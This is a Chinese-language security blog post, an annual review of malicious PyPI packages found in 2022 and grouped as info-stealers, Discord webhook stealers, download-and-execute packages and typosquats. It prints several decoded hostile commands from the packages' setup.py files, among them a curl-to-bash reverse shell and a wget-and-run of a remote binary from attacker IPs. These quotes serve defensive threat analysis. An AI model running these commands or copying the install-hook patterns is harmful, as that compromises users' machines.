【天问】2022年PyPI恶意包年度回顾

admin 2023年1月6日00:22:21评论76 views字数 4397阅读14分39秒阅读模式

2022年,天问Python供应链威胁监测模块共捕捉到22,076个恶意包,对于分析确认的恶意包,我们第一时间反馈PyPI官方,通知维护者将这些包删除。根据恶意包的攻击行为,我们将其归为四类:信息窃取类,Discord webhook类,恶意脚本下载执行类和typosquatting类。


Python是流行的编程语言,其因丰富的库和活跃的社区而备受欢迎。开发者需要某一个功能时,通常会通过PyPI等包仓库查找所需的第三方包,通过pip等方式直接下载、安装和使用。然而,我们安装的这些包,真的安全吗?奇安信技术研究院星图实验室研发的“天问”软件供应链安全分析平台(https://tianwen.qianxin.com/)对Python、npm等主流的开发生态进行了长期、持续地监测,发现了大量的恶意包和攻击行为

整个2022年度,天问Python供应链威胁监测模块共监测到22,076个恶意包,涉及到8,852个包的不同版本。我们针对这些恶意包的攻击行为进行了分析,总体可归纳为四类:信息窃取类,Discord webhook类,恶意脚本下载执行类和typosquatting类。对于分析确认的恶意包,我们及时向PyPI官方进行了反馈,尽可能减少这些恶意包的影响。

1

信息窃取类

此类包的攻击触发方式主要分为两种:通过import恶意包模块和通过install恶意包。在第一种方式中,攻击者将恶意代码放置在module的__init__.py文件内,用户import module时会触发此类恶意代码。

此类恶意包可见:【天问】5月PyPI恶意包汇总(20220501-20220531)
(https://tianwen.qianxin.com/blog/2022/06/02/May-June-Malicious-Packages/)。

第二种攻击方式,攻击者直接将信息窃取的代码写在PyPI包的安装执行文件setup.py内,并替换pip自带的install指令,当用户使用pip install安装时便会触发攻击,将敏感信息外传,其中信息包括计算机名、IP地址、计算机内核信息等。

例如,cmdb-managervalyrian-debugantchain-sdk-realpersonelasticsearch_connectorstessssssssss 、tabulateboto3等这些包均属于此类攻击。

在对比了所有信息窃取类的代码后我们发现,其中一些包的内容十分相似,例如tessssssssss和tabulateboto3 的代码具有高度相似性,如下图所示。我们进一步分析了其包作者和行为,我们发现两个包作者虽然不相同,但是其都是在上传前临时注册账号,于北京时间早上2时许上传包,并在其上线约1个小时后手动删除,种种相似的迹象让我们怀疑两个包的作者可能为同一人。

【天问】2022年PyPI恶意包年度回顾
【天问】2022年PyPI恶意包年度回顾

2

Discord webhook类

自2019年疫情以来,Discord成为了目前北美最流行的视频语音软件。攻击者也正是瞄准了这一点,开始频繁通过各类手段试图窃取用户Discord账户、银行卡等信息,并通过Discord内置的机器人webhook进行信息回传easyasciifpsboostmianlmaobahahamaintest2等为这类攻击的典型恶意包。

这些恶意包的攻击逻辑也与我们之前遇到过的Discord攻击大同小异,主要利用Python包作为恶意代码的载体,向下载这些包的用户机器中植入恶意代码,窃取用户的隐私信息。这些恶意包利用Discord的频道文件共享功能从攻击者的私有频道下载恶意文件执行,窃取用户敏感信息,最终通过Discord频道的webhooks方式进行信息回传。这些攻击手段可以绕过部分安全防护措施,需要警惕。

之前关于Discord攻击的分析报告见:【天问】DissCord:以Python软件供应链为入口的Discord窃密攻击分析
(https://tianwen.qianxin.com/blog/2022/01/19/discord-all/)。

3

恶意脚本下载执行类

这类恶意包的攻击手法与信息窃取类非常相似,但这些恶意包会从攻击者的服务器下载恶意文件进行执行。下面是我们对监控到的几个典型恶意包的分析,从中我们可以发现攻击者的攻击手段越来越多样化,而且恶意代码中使用了编码、加密、混淆等多种对抗分析的手段。

3.1、secretslib

攻击者将经过base64编码的恶意代码写在setup.py内,当用户安装该包时便会触发。base64编码后的恶意代码经过解码后,得到如下信息,攻击者联网下载了名为tox的可疑程序并执行,在执行完成后删除。

sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57.250/tox && chmod +x ./tox && timeout -k 5s 1h sudo ./tox rm ./tox 

3.2、mypackage1337

攻击者通过setup.py下载恶意shell脚本并执行,下载代码如下。

os.system('curl http://108.61.251.172:8080/revssh/108.61.251.172/2222 | /bin/bash')

下载下来的是一个反弹shell,即用户只要安装恶意包,便会被攻击者植入反弹shell。

 3.3、warning-pypi-ransomeware

攻击者在setup.py中明确声明这个恶意包是一个攻击测试,用于提醒用户不要随意安装未知包。安装此包会导致用户计算机内所有文件被加密,攻击者同时给出了解密脚本,用户运行后即可解密。

3.4、sageshutdown

该包攻击模式较为简单,仅是在安装时将用户关机,然而深入挖掘后我们发现,该包作者名为mianism,与上述Discord Webhook类型内恶意包mianooo, mianlmao等包作者为同一人,结合其以往的攻击模式,我们怀疑这是在为其后续上传恶意包/恶意版本做测试,由于我们在发现sageshutdown首次上传12个小时内通知官方将其删除,其后续的攻击手段可能得到了很好的抑制。

3.5、disocrd

这个包是我们分析天问供应链最近的日常监测数据发现的。

其在天穹沙箱(https://sandbox.qianxin.com/)分析中执行了其安装代码,产生了网络行为告警。该包在setup.py中执行了一段base64编码后的代码,解码结果如下所示:

from urllib import
request;exec(request.urlopen('http[:]//lactuapi.ddns.net:5002/52264897r.py').read())

可以看到从远端服务器上拉取了一个python文件进行执行,我们拉取了这个文件并进行了分析,目前该网址已失效。该python文件将混淆的攻击代码写入mal.pyw,并执行。

我们分析混淆代码后知,其利用了python的转义字符来进行混淆,x转义符会将后面两个字符解释为16进制表示的字符。xaa等同于chr(0xaa),即为字符a。我们利用astastunparse处理了源代码,在化简后的代码中我们发现了新的混淆代码,如下图所示。

【天问】2022年PyPI恶意包年度回顾

经过简化处理后,我们发现代码的主要逻辑是从攻击者的服务器拉取一个代码文件进行执行,url为http[:]//45.158.77.206:5002/code.py。经过分析,code.py的代码只是执行一个简单的探查工作,应该是攻击者的前置准备阶段。

分析完代码,我们对作者进行了调查分析,从PyPI官方仓库中可知这个作者一共发布了3个包,而其中的PyPerion正是用于混淆上述攻击代码的工具。

【天问】2022年PyPI恶意包年度回顾

PyPerion中包含了GitHub信息,我们据此找到了作者的GitHub仓库,从中可以发现他fork了一个discord的仓库。

【天问】2022年PyPI恶意包年度回顾

通过观察其commit记录,我们发现他把自己发布的恶意包导入了该仓库,猜测有可能是想通过pull-request来污染原仓库的代码。

【天问】2022年PyPI恶意包年度回顾

同时,我们在作者的另一个仓库发现了一个新的用户,结合用户名和我们之前获得的域名相关信息,怀疑是真正的作者。

【天问】2022年PyPI恶意包年度回顾

从这个包的分析过程我们不难发现,现有的恶意包攻击非常隐蔽,可以通过包下载安装过程来进行攻击。无文件攻击越来越流行,所有的攻击代码都放置在攻击者服务器上,通过url直接下载加载到内存中执行。大量的混淆也给安全分析工作造成了很大的困难,对安全分析提出了新的挑战。

4

Typosquat类

包名混淆一直是攻击者喜欢的攻击方式,其通过用户的误输入来达到攻击的目的。我们之前的文章对此类攻击做过详细的分析。

【天问】PyPI再遭Typosquat投毒,python-dateutils竟是挖矿脚本?
(https://tianwen.qianxin.com/blog/2022/06/29/python-dateutils-typosquat/) 


【天问】近期针对aiohttp包的typosquatting攻击汇总
(https://tianwen.qianxin.com/blog/2022/03/11/aiohttp-series-attack/) 


【天问】5月PyPI恶意包汇总(20220501-20220531)
(https://tianwen.qianxin.com/blog/2022/06/02/May-June-Malicious-Packages/)。

在此我们提醒用户不要安装未知包,并且在安装包时注意包名的准确性。

5

总结

PyPI目前面临的恶意包威胁依然十分严峻,仅过去一年,天问Python供应链威胁监测模块就监控到了2万多个恶意包。从分析结果看,恶意包的攻击手段越来越多,而且也更加隐蔽。无文件攻击,编码,代码混淆,文件加密,这些技术的应用让安全分析的难度陡然增加。软件供应链的特性也让这些攻击难以被用户察觉。而天问Python供应链威胁监测模块通过持续不断地对PyPI和镜像源的监控,可以第一时间检测到新发布的恶意包。同时,结合天穹沙箱强大的分析能力以及庞大的威胁情报数据库,我们能够及时地对这些恶意包的攻击行为进行预警,极大地降低其对Python生态环境的影响。

点击阅读全文见详细分析报告

“天问”是由奇安信技术研究院星图实验室开发的软件供应链安全分析平台,专注于软件供应链生态的安全风险识别与检测。


我们目前正在招聘,工作地点覆盖北京、上海、南京、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/


原文始发于微信公众号(奇安信技术研究院):【天问】2022年PyPI恶意包年度回顾

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月6日00:22:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【天问】2022年PyPI恶意包年度回顾https://cn-sec.com/archives/1501036.html

发表评论

匿名网友 填写信息